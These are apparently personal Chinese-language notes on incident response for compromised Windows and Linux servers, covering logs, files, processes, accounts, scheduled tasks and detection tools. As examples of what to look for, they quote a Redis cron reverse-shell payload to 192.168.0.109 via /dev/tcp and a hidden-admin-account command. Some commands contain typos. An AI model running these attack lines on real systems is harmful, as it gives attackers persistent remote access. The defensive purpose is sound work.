应急响应

思路

http://maqi.vip/posts/%E8%AE%BA%E6%BA%AF%E6%BA%90%E5%8F%8D%E5%88%B6%E6%80%9D%E6%83%B3/

根据用户现场的情况往往还需要做一些信息收集的工作比如,出现异常的时间点(非常重要)、异常服务器的主要业务情况、大致的一个网络拓扑是不是在DMZ区、是否可以公网访问、开放了那些端口、是否有打补丁、使用了怎么样的一个web技术、最近是否做过什么变更、有没有什么安全设备之类的。 根据收集到的信息,往往可以得出了几种可能。漏洞很多有些漏洞开发未能及时修复,是否应该规避风险,采取何种策略;一个web服务器公网可以访问出现了被挂黑链的事件使用框架类,那么初步可以怀疑是命令执行漏洞了;如果一台公网服务器没有安装补丁又没有防火墙防护,administrator的密码为P@sswrod那么有很大的可能性是被暴力破解成功;后面的工作主要就是收集各种资料证明这一猜想即可。

==查看最近一个月更改的文件:find -type f -mtime -30==

在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查

关注点:

  • 日志分析
  • 文件分析
  • 进程分析
  • 自启动 计划任务
  1. 什么是日志?日志记录一个服务或应用程序在运行过程中所发生的事件和活动。
  2. 日志分类 web日志 系统日志
  3. 日志存放的位置

web日志分析

1.我们查看连接的时候 查看数值
2.我们去查看连接状态是否被远控:
1.名字连接名字xx.asp名字比较异常的要注意,找到那个文件位置分析是否是恶意文件
2.因为远控连接的一般是只有攻击者才可能去访问,查看攻击ip只有一个或者两个 那么我们需要注意,进一步排查
3.木马文件相对于访问频率低,我们就可以排查
4.木马文件与其它文件交互少,我们可以进一步排查是否恶意文件
5.跟管理员沟通,查看一些新增记录 确认恶意文件 (post型)上传php.asp文件,一般是只有管理员权限;然后我们去还原路径 可以排查sql注入等
作日志分析我们就知道web服务器入侵的痕迹了

系统日志分析

我们要关注时间,去筛选 创建记录等可以找到隐藏账号;判断系统的安全日志可以分析它

windows系统日志包含系统日志,安全日志、应用日志等
敏感事件id:
4624 登录成功
4625 登录失败
4720 创建用户
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录

系统日志分析-Log Parser

登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 where 
TimeGenerated>'2023-02-19 23:32:11' and TimeGenerated
提取登录成功的用户名和IP:
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as 
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as 
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM Security.evtx路径 where 
EventID=4624"
登录失败的所有事件:
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM Security.evtx路径 EventID=4625"

linux

常用命令介绍:
find 文件名  find 搜索路径 【选项】 内容
 -name 区分大小写php      -type 文件类型  f普通文件  d目录  i查找软链接
 -iname不区分大小写php    -size  文件大小  +50k比我们50k还要大的文件 -100k比100k还要小的文件
 -inum      修改时间  -atime访问的时间 -mtime数据修改的时间 -ctime文件修改的时间
 +5 代表6天前修改的文件 -5代表5到6天内修改的文件  5代表5到6天那一天修改的文件
 ls -i 1.php
 1234
 find -inum 1234
 find -type f -name "*.php"|xargs grep 'eval'| more   #去找到一个个文件的内容,显示出来
 权限搜索 -perm
 所属组所有者  -uid  -gid  -user用户名  -nouser(没有所属组的文件)
 逻辑运算符 & -a   逻辑或-o  逻辑非-not
awk  【选项】匹配规则处理规则 路径-F指定分隔符 默认是空格作为分隔 : ,
设置一个变量  数组 定义函数  加减运算  字符串的拼接  $1   $0 
一般会联合sort -n 排序,sort -n|uniq > 1 (uniq去重  -c计数) 
awk '{print substr($4,2,11)}' logs |sort| uniq -c  #sort排序  uniq去重
awk -F:'length($2)=0 {print $1}' /etc/shadow   #空口令账号的查看 
cat 
grep | cat ps
-c   统计行数
-v   去掉我们的内容
 ps -ef |grep ssh|grep -v grep  
 find ./ -name ".php" |xargs grep "eval()"    xargs不支持管道符命令传递参数可以用这个函数 #匹配木马病毒文件


1.SQL注入检攻击检测
grep -E -i "select" log1
2.xss跨站脚本攻击检测
grep -E -i "
(S)%26%23x3c%3B(S+)%3E|(S)%26%23x3c%3B(S+)%2F%3E|(S+)<(S+)>|(S+)<(S+)/" log1

系统安全日志:

  • cat /var/log/secure Centos
  • cat /var/log/auth Ubuntu
  • vim /etc/rsyslog.conf 查看日志存放位置 在配置文件下面查看

比较重要的几个日志:

  • 登录失败记录:/var/log/btmp //lastb
  • 登录成功记录: /var/log/wtmp //last
  • 目前登录用户信息:/var/run/utmp

Linux分析排查

文件分析

敏感文件信息

  • 在Linux中一切都是文件,其中/tmp是一个特别的临时目录文件,每个用户都可以对它进行读写执行操作。

  • 查看开机启动项内容/etc/init.d,恶意代码很有可能设置在开机自启动的位置

    查看指定目录下文件时间顺序的排序:ls -alt | head -n 10

    查看文件时间属性:stat 文件名

  • 新增文件分析:

    查找24小时内被修改的文件:find ./ - mtime 0 -name “*.php”

    查找48小时内新增的文件:find ./ -ctime -2 -name “*.php”

    权限查找:在Linux系统中,如果具有777权限,那么文件和可疑:find ./ -iname “*.php” -perm 777

进程分析

网络连接分析

在Linux中可疑使用netstat进行网络连接查看:netstat -pantl

netstat -Print network connections,routing tables,interface statistics,masquerade connections,and multicast memberships

具体帮助信息查看man netstat

常用命令netstat -pant 查看处于tcp网络套接字相关信息

关闭位置连接 kill -9 pid

进程所对文件

在Linux中可以使用ps查看进程相关信息

使用ps aux查看所有进程信息

使用ps aux | grep PID 筛选出具体PID进程信息,lsof -i:端口号也可以实现此类功能

登陆分析

在Linux做的所有操作都会被记录道系统日志中,对于登陆也可以查看日志信息查看是否有异常登陆

last -i | grep -v 0.0.0.0 查看登陆日志,筛选非本地登陆

w命令 实时登陆查看

异常用户排查

1 2 3 4 5 cat /etc/passwd grep "0:0" /etc/passwd ls -l /etc/passwd awk -F: '$3==0' {print $1} '/etc/passwd' awk -F: '$2=="!" {pirint $1}' /etc/shadow 或者 awk -F :'length($2)==0 {print $1}' /etc/shadow

历史命令分析

在Linux系统中默认会记录之前执行的命令/root/.bash_history文件中

用户可以使用cat /root/.bash_history进行查看或者使用history命令查看

特别注意:==wget(可能远程下载木马),ssh(连接内网主机),tar zip(数据大包)系统配置等==

计划任务排查crontab

在Linux系统中可以使用命令 crontab进行计划任务的设定

其中-e可以用来编辑设定计划任务,-l可以用来查看当前计划任务,-d用来删除计划任务

特别注意计划中未知任务

开机自启动项

在Linux(Debian)系统中/etc/init.d目录下保存着开机自启动程序的目录

用户可以直接使用/etc/init.d 程序名称 status查看状态

使用==update-rc.d==程序名称disable取消开机自启动

$PATH变量异常

决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当你运行一个程序时,Linux在这些目录下进行搜寻编译链接。

修改PATH export PATH=$PATH:/usr/locar/new/bin 本次终端中有效,重启后无效

在/etc/profile或/home/.bashrc(source ~/.bashrc)才能永久生效

后门排查 - rkhunter

rkhunter具有以下功能:

  1. 系统命令检测,MD5校验
  2. Rockit检测
  3. 本机敏感目录,系统配置异常检测

安装:apt install rkhunter

基本使用:rkhunter –check -sk

Windows分析排查

文件分析

开机启动文件

在Windows系统中通过以下三方面查看开机启动项

  1. 利用操作系统中的启动菜单

    C:/users/Administrator(当前用户名)/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup

  2. 利用系统配置msconfig

  3. 利用注册表regedit

    HKEY_CURRENT_USERS/software/Microsoft/Windows/CurrentVersion/Run

temp临时异常文件

temp(临时文件夹),位于C:/Documents and Settings/Administrator/Local Settings內。很多临时文件放在这里,用来收藏夹,浏览网页的临时文件,编辑文件等。

使用运行 > 输入%temp% 可以直接打开temp文件夹

查看temp文件发现PE文件(exe、dll、sys),或者是否具有特别大的tmp文件

将文件上传至在线沙盒检测是否为恶意代码

浏览器信息分析

在被黑客拿下的服务器,很有可能会使用浏览器进行网站的访问。因此我们可以查看浏览器记录查看、探索浏览器是否被使用下载恶意代码

浏览器浏览痕迹查看

浏览器文件下载记录查看

浏览器cookie信息查看

文件时间属性分析

在Windows系统下,文件属性的时间属性具有:创建时间,修改时间,访问时间(默认情况下禁用)。在默认情况下,计算机是以修改时间作为展示。

如果修改时间早于创建时间则这个文件存在很大的嫌疑。

最近打开文件分析

Windows系统中默认记录系统中最近打开使用的文件信息

可以在目录C:/Documents and Settings/Administrator/Recent下查看,也可以使用运行 > 输入%UsersProfile%\Recent查看。然后利用Windows中的筛选条件查看具体时间范围的文件

进程分析

可疑进程发现与关闭

计算机与外部网络通信是建立在TCP或UDP协议上的,并且每一次通信都是通过不同的端口。如果计算机被木马入侵后,肯定会与外部网络通信,那么此时就可以通过查看网络连接状态,找到对应的进程ID,然后关闭进程ID就可以关闭连接状态

  • netstat -ano | find “ESTABLISHED” 查看网络建立连接状态
  • Tasklist /svc | find “PID” 查看具体PID进程对应的程序
  • tasklist /PID pid值 /T 关闭进程

系统信息

Windows计划任务

在计算机中可以通过设定计划任务,在固定的时间执行固定操作。一般情况下,恶意代码也有可能在固定的时间执行。

使用at命令可以对计划任务进行管理,直接输入at可以查看当前计算机中保存的计划任务,也可以在可视化的计划任务管理中进行。

隐藏账号发现与删除

隐藏账号是指“黑客”在入侵之后为了能够持久保持对计算机访问,而在计算机系统中建立的不轻易被发现的计算机账户。

最为简单的隐藏账户建立:==net user test$ test /add && net local group administrator test$ /add==,其中¥符号可以导致系统管理员在使用net user时无法查看到test$用户。

补丁查看与更新

Windows系统支持补丁以修补漏洞,可以使用systeminfo查看系统信息,并展示对应的系统补丁信息编号。也可以卸载软件中查看系统补丁和第三方软件补丁。

控制面板>程序>程序和功能>已安装更新

恶意进程

发现与关闭

恶意代码在Windows系统运行过程中,将以进程的方式进行展示。其中恶意进程执行着各种恶意行为。对于可执行程序,可以直接使用杀毒软件进行查杀,但是并非所有的恶意程序能够被查杀。此时可以通过手动查杀,使用工具psexplore,然后利用在线沙盒进行分析。对恶意程序相关的服务进行关闭。

日志分析

文件分析

windows

  • (1)各个盘下的temp相关目录%temp% (判别恶意文件放在云沙箱)

    image-20240407174644821

  • (2)开机启动文件(启动菜单、注册表)

  • (3)浏览器的历史记录

  • (4)Recent文件

    image-20240407174713854

  • (5)攻击日期内新增的文件 【forfiles /m *.exe /d 2023/2/5 /s /c "cmd /c echo @path @fdate @ftime"】(根据当时具体情况排查)也可以通过everything排查位置

  • (6)使用工具D盾、HwsKill、WebshellKill等

linux

检查异常系统文件
find / -uid 0 -perm -4000 -print
find / -size +10000k -print
find / -name "…"-print

last

last 命令用于显示用户最近登录信息。

单独执行 last 指令,它会读取位于 /var/log/目录下,名称为 wtmp 的文件,并把该文件记录登录的用户名,全部显示出来。

语法
last [options] [username...] [tty...]
参数说明:

options:

-R 省略主机名 hostname 的列
-a  把从何处登入系统的主机名称或IP地址显示在最后一行。
-d  将IP地址转换成主机名称。
-f<记录文件>  指定记录文件。
-n<显示行数>或-<显示行数>  显示名单的行数。
-R  不显示登入系统的主机名称或IP地址。
-x  显示系统关机,重新开机,以及执行等级的改变等信息。

进程分析

windows

(tasklist列出所有进程 思路:恶意文件会进行外连,我们去查看网络连接;netstat -a查看网络连接,也可以用netstat -ano查看它的PID;查看端口得到PID,然后根据PID查看进程对应的程序名称,得到程序全路径名,杀掉进程)

(1)查看端口得到PID

netstat -nao | findstr 端口

(2)根据PID查看进程对应的程序名称

tasklist /V | findstr PID
wmic process list brief | findstr PID

(3)得到程序全路径名

wmic process where processid=PID get processid,executablepath,name

(4)杀掉进程

taskkill /PID 1437 /F
或者 wmic process where name="mysqld.exe" delete
或者 wmic process where processid=1437 call terminate

linux

进程和网络连接状态
网络连接命令【netstat】
-napt -pantn -a显示所有的选项 -n别名 -t tcp的连接
查看隐藏进程
ps -ef|awk '{print}'| sort -n |uniq >1
ls /proc| sort -n |uniq >2

新增隐藏账号排查

1.通过命令:“net user”查看
2.通过“计算机管理”查看。lusrmgr.msc
3.通过Windows安全日志进行排查 eventvwr
4.通过查看注册表文件进行排查 regedit
打开注册表以后我们进行隐藏账号排查排查,打不开它的下一级目录那么在编辑里面权限改为SYStem权限

自启动排查

打开注册表以后我们进行自启动排查

计划任务排查

schtasks.exe


linu
检查系统计划任务
/var/spool/cron/crontabs/root
crontab -u root -l
cat /etc/rc.d/rc.local
ls /etc/rc3.d
redis写隐藏计划任务
set shell "\n\n/1 * /bin/bash -
i>&/dev/tcp/192.168.0.109/2222 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
我们要查看 cd /var/spool/cron/root 去排查

排查工具

工具篇
#### 病毒分析
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zhcn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
#### 病毒查杀
卡巴斯基:http://devbuilds.kasperskylabs.com/devbuilds/KVRT/latest/full/KVRT.exe (推荐理由:绿色版、最新
病毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free
#### 病毒动态
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
#### 在线病毒扫描网站
Virustotal:https://www.virustotal.com
Virscan:http://www.virscan.org
腾讯哈勃分析系统:https://habo.qq.com
Jotti 恶意软件扫描系统:https://virusscan.jotti.org
0%